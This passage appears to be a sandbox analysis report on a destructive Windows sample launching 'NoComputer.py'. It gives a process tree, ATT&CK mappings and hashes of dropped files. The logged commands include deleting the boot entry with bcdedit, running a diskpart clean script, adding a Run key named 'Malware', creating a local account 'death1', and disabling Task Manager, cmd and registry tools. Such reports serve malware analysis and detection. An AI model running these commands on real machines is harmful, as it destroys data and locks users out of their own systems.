      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:3156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:3976
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:4488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f"
    3⤵
    PID:4112
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f
      4⤵
      Modifies registry key
      PID:512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:3684
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:1884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:1092
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rundll32.exe user32.dll,UpdatePerUserSystemParameters"
    3⤵
    PID:4184
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe user32.dll,UpdatePerUserSystemParameters
      4⤵
      PID:984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {current} /f"
    3⤵
    PID:2644
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ONEFIL~4\NoComputer.py\"" /f"
    3⤵
    PID:2136
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ONEFIL~4\NoComputer.py\"" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:4152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "diskpart /s clean.txt"
    3⤵
    PID:3876
  - - C:\Windows\system32\diskpart.exe
      diskpart /s clean.txt
      4⤵
      PID:2872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
    3⤵
    PID:5588
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:5884
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:6132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:5316
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:2612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f"
    3⤵
    PID:2060
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5652
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f"
    3⤵
    PID:5696
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:4928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f"
    3⤵
    PID:5308
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f
      4⤵
      PID:4844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:1984
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      Modifies registry key
      PID:1836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:6024
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      Modifies registry key
      PID:5208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f"
    3⤵
    PID:6000
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:2524

C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe" "C:\Users\Admin\AppData\Local\Temp\ONEFIL~4\NoComputer.py"
1⤵
PID:2288
- C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
  C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe C:\Users\Admin\AppData\Local\Temp\ONEFIL~4\NoComputer.py
  2⤵
  - Drops startup file
  - Loads dropped DLL
  - Drops file in System32 directory
  - Sets desktop wallpaper using registry
  - Suspicious use of SetWindowsHookEx
  PID:3360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death1 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:512
  - - C:\Windows\system32\net.exe
      net user death1 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:1936
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death1 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:4256
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:3640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:5076
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:1840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f"
    3⤵
    PID:3496
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f
      4⤵
      Modifies registry key
      PID:2888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:3640
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:4996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:1840
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:2680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rundll32.exe user32.dll,UpdatePerUserSystemParameters"
    3⤵
    PID:3024
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe user32.dll,UpdatePerUserSystemParameters
      4⤵
      PID:1824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {current} /f"
    3⤵
    PID:2680
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ON174B~1\NoComputer.py\"" /f"
    3⤵
    PID:2668
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ON174B~1\NoComputer.py\"" /f
      4⤵
      Adds Run key to start application
      Modifies registry key
      PID:3048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "diskpart /s clean.txt"
    3⤵
    PID:648
  - - C:\Windows\system32\diskpart.exe
      diskpart /s clean.txt
      4⤵
      PID:4968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
    3⤵
    PID:5440
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:1228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:5796
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5816
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f"
    3⤵
    PID:5940
  - - C:\Windows\system32\reg.exe
      reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:3732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f"
    3⤵
    PID:1272
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5804
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoWinKeys /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:3948
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f"
    3⤵
    PID:4580
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewContextMenu /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f"
    3⤵
    PID:5596
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Mouse" /v SwapMouseButtons /t REG_SZ /d 1 /f
      4⤵
      PID:6012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:5460
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      Modifies registry key
      PID:5676

C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe" "C:\Users\Admin\AppData\Local\Temp\ON174B~1\NoComputer.py"
1⤵
PID:5276
- C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe
  C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe C:\Users\Admin\AppData\Local\Temp\ON174B~1\NoComputer.py
  2⤵
  - Drops startup file
  - Drops file in System32 directory
  - Sets desktop wallpaper using registry
  - Suspicious use of SetWindowsHookEx
  PID:5384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user death1 P@ssw0rd!123 /add /active:yes"
    3⤵
    PID:5536
  - - C:\Windows\system32\net.exe
      net user death1 P@ssw0rd!123 /add /active:yes
      4⤵
      Creates a new local user account
      PID:5792
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user death1 P@ssw0rd!123 /add /active:yes
        5⤵
        Creates a new local user account
        
        PID:5804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:5868
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColor /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:5204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f"
    3⤵
    PID:5452
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationAfterglow /t REG_DWORD /d 0x000000FF /f
      4⤵
      Modifies registry key
      PID:4508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f"
    3⤵
    PID:5036
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\DWM /v ColorizationColorBalance /t REG_DWORD /d 100 /f
      4⤵
      Modifies registry key
      PID:5612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:6132
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5124
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v Background /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:1828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f"
    3⤵
    PID:2416
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Control Panel\Colors" /v ActiveBorder /t REG_SZ /d "255 0 0" /f
      4⤵
      PID:4404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rundll32.exe user32.dll,UpdatePerUserSystemParameters"
    3⤵
    PID:3588
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5708
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe user32.dll,UpdatePerUserSystemParameters
      4⤵
      PID:5692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /delete {current} /f"
    3⤵
    PID:5628
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ONBF17~1\NoComputer.py\"" /f"
    3⤵
    PID:4840
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Malware /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\74bcc31d634c85d4fd2eae344c9e67ccb53937e8ac25dbdea7d1b5da3b232bd9.exe\" \"C:\Users\Admin\AppData\Local\Temp\ONBF17~1\NoComputer.py\"" /f
      4⤵
      Modifies registry key
      PID:5560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "diskpart /s clean.txt"
    3⤵
    PID:5860
  - - C:\Windows\system32\diskpart.exe
      diskpart /s clean.txt
      4⤵
      PID:2752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
    3⤵
    PID:5724
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      Modifies registry key
      PID:5784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f"
    3⤵
    PID:6120
  - - C:\Windows\system32\reg.exe
      reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
      4⤵
      Modifies registry key
      PID:4372

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create Account

T1136

Local Account

T1136.001

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Permission Groups Discovery

T1069

Local Groups

T1069.001

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\VCRUNTIME140_1.dll
Size 48KB
SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
MD5 c0c0b4c611561f94798b62eb43097722
SHA1 523f515eed3af6d50e57a3eaeb906f4ccc1865fe
SHA512 35db454dbcc7ed89842c0440b92ce0b0b0db41dbd5432a36a0b7e1eddf51704b1f0d6cff5e3a3b0c3ff5db3d8632fed000471180ad72e39d8dbe68a757ccdfb0
SSDEEP 768:vzzO6ujT3MbR3v0Cz6Sz5q83ywug1HDV9zxfYbK9z:mq/oMx3hXHDnzxfYiz
TLSH
T1AE236BA453784486D4AB99B0C0DAEE577D7CFA964B10928F0BA0D15C1F637D0EB3D21B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libffi-8.dll

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\libffi-8.dll
Size 38KB
SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
MD5 0f8e4992ca92baaf54cc0b43aaccce21
SHA1 c7300975df267b1d6adcbac0ac93fd7b1ab49bd2
SHA512 6e1b223462dc124279bfca74fd2c66fe18b368ffbca540c84e82e0f5bcbea0e10cc243975574fa95ace437b9d8b03a446ed5ee0c9b1b094147cefaf704dfe978
SSDEEP 768:NiQfxQemQJNrPN+moyijAc5YiSyvkIPxWEqG:dfxIQvPkmoyijP7SytPxF
TLSH
T10B037C0B458418A4E657D53D97A64A2AC335B9240B60F2CB03D4C2BA3F6B7D6FB7C358
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

win32ui.pyd

Path C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\win32ui.pyd
Size 1020KB
SHA256 3db5f9c15c327b7f29880010f11eeff291ca13cf6e2c987f36affeefbc989e66
MD5 809745e4202deeebaa46cbba752baeb0
SHA1 449ea800b302b1288d6eef482f341765fce73acf
SHA512 48bf86ccd6f49c8df6d4edc545e9ebae9e6aedd6a2d72b2b2c5751240dee57b6e7e77766336c366818b349817c1e5fe7153f771c418ce54be3f4d9559f057d60
SSDEEP 12288:EdQxQrQ0MPm6DhBnXIIAHxgEc+9ejej2xCELSd:8QxqFWHnkvmjej27
TLSH
T17E25F649679900ACE53AD13E89235B32D3B2B8154762B7CF1675828DFF2FBC12479B42
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

black_wallpaper.bmp

Path C:\Users\Admin\AppData\Local\Temp\black_wallpaper.bmp
Size 2.3MB
SHA256 ff1612e2904aacb4fde5271ce129cfe168ccafefd741de8832c8e28e02fef47e
MD5 4349965d47e22765aebba761978cf595
SHA1 29c1be0e31b8a55d8d9cba0ad1012d06650c7fe6
SHA512 5414702124a1bb8f56b5d2debdfef6ef229566497a2cf74596abbcede095cd3eed81de9ab0e9a9093258bba2af37f403f4b449ea1bd115f50a689ff65bcc1a92
SSDEEP 3:6Bhlull8l:7lS
MD5 SHA1 SHA512 SSDEEP

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_2288_134285725582817246\_decimal.pyd
Size 273KB
SHA256 4e27c06b84401039d10f800a0f06446b58508784ee366c7c8324d8fe9794e1a5
MD5 21fcb8e3d4310346a5dc1a216e7e23ca
SHA1 aab11aef9075715733e0fcde9668c6a51654b9e1
SHA512 c064550d1723e92512a42ce367ecef9331a81121305d66199abce6e0977152d927f7223f475e22c67e3f64b0f612c5553f112d8ce653c666a98d1980d200a599
SSDEEP 6144:HNTyEEsdiuz6KOGifir9qWM53pLW1Asz34+M6lLao:HNIuz8GQiOxgLd
TLSH
T19D546B57A2490CA8EA7380749957DF07F7B278960361C78F43A48AA73F93393676E344
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_2288_134285725582817246\_hashlib.pyd
Size 63KB
SHA256 52f29aebe9886e830dedc363cd64eb53b6830d84b26e14f1b6faa655a0900b5d
MD5 3e540ef568215561590df215801b0f59
SHA1 3b6db31a97115c10c33266cce8ff80463763c7e6
SHA512 21497a4d1d999a420ed0e146544f4149c72ad4aca4b869a0ee83267d92afa07609ece76a4e95ec706a21580d6544146d0a58c0baa01aa2c242474a4816108527
SSDEEP 1536:GzQGcrVBtIMh2AZvgLbKwps4RdIgvIMytH/918fI38VM1:CSrVBtuWyWos4RdIgvIdlIW
TLSH
T129539E49A2844096CA6752B8CAD39E87F6B5F2525340ABDF0354C0CE2F237C3D77A766
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_2288_134285725582817246\_socket.pyd
Size 83KB
SHA256 bced17d6f081d81ea7cd92f1e071e38f8840e61ee0fe1524221b776bcfa78650
MD5 566cb4d39b700c19dbd7175bd4f2b649
SHA1 bede896259b6d52d538c2182aef87c334fc9c73c
SHA512 6a26fd59e2c2ec34b673ef257a00d5577f52286d78525d05efc8a88760fb575be65c3e94e83396f4978c8734b513afe7f09d3c49474169144f98add406530367
SSDEEP 1536:2xl/h+6SDo3OkB+ecI4xyJwAQlyJ+9+nzhjTm96tsJ4O05IgywpytH/9ofIbw:2xko35X4yJwAQlyJs+nzNq96yw5Igyw3
TLSH
T17C837C00A6A041FAEB63D0B5C2679E63FB74B5C11391A35F0066C55A1F337C2AF7AB46
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_wmi.pyd

Path C:\Users\Admin\AppData\Local\Temp\onefile_2288_134285725582817246\_wmi.pyd
Size 38KB
SHA256 ebd252d21af9c84128fca04c994093a5bd6ee857f1581f06f4026fdd6a2c40e0
MD5 47e6fd132f44a4feb595bd0fda3c4e1c
SHA1 37c6c2c1ff309db7273afc9324a37b716c5cbfdb
SHA512 69c031d4ff2dac70739f9c188fca3c6969304f22782adf5a9c0ca303a3a712630541bda888ef25d3252b46d43df56f6e7e03c83d331840088c4224d1a1a512c4
SSDEEP 768:nEkKVVUWO0X1ctqDFIgLi6OytxJEKrLy2Ip4RsCxf1mljr8VMOj:nE9v3JctqDFIgLi1ytH/9R1fI38VMi
TLSH
T1AC037D8AE2640046E663DAB5C9A6CE53F571B7C36B11D38F365582990F233C0E73A336
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libcrypto-3.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_2288_134285725582817246\libcrypto-3.dll
Size 5.0MB
SHA256 ccfffddcd3defb8d899026298af9af43bc186130f8483d77e97c93233d5f27d7
MD5 ae5b2e9a3410839b31938f24b6fc5cd8
SHA1 9f9a14efc15c904f408a0d364d55a144427e4949
SHA512 36ea760a7b56ea74174882155eddfb8726828240fcfc6b34d90ecdb7e50a7e632374dcbc9b2889081c0973cc51f50967e7d692498c4abd1f2cba3f7fe8d659cc
SSDEEP 98304:M3+lrVT/8LpQmNPMRLuPWv1CPwDvt3uFlDCJ:6yrVT/8LvPMRLui1CPwDvt3uFlDCJ
TLSH
T1F8368B6AA7A80148E4BAC13CC9534617D2B1F85A57B097CF18A1967D0F37FDA2B3E740
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pythoncom313.dll

Path C:\Users\Admin\AppData\Local\Temp\onefile_2288_134285725582817246\pythoncom313.dll
Size 665KB
SHA256 b06df90adb0d907aded57cc5fb98bdacb5e00dd018ca74e3e265c32a1af46d18
MD5 0ea0019558ccd486700d892035c087b8
SHA1 22a940d9c5106eaa7bc4ba346df64223cd05fa1f
SHA512 5769385544880e0087a078971d522eb5a703bad4aeab51656cee645ed302b14659628c206c123d0b76bb78cf09705cb1a297a27e2dcdc5b06e6bb36fb1f14feb
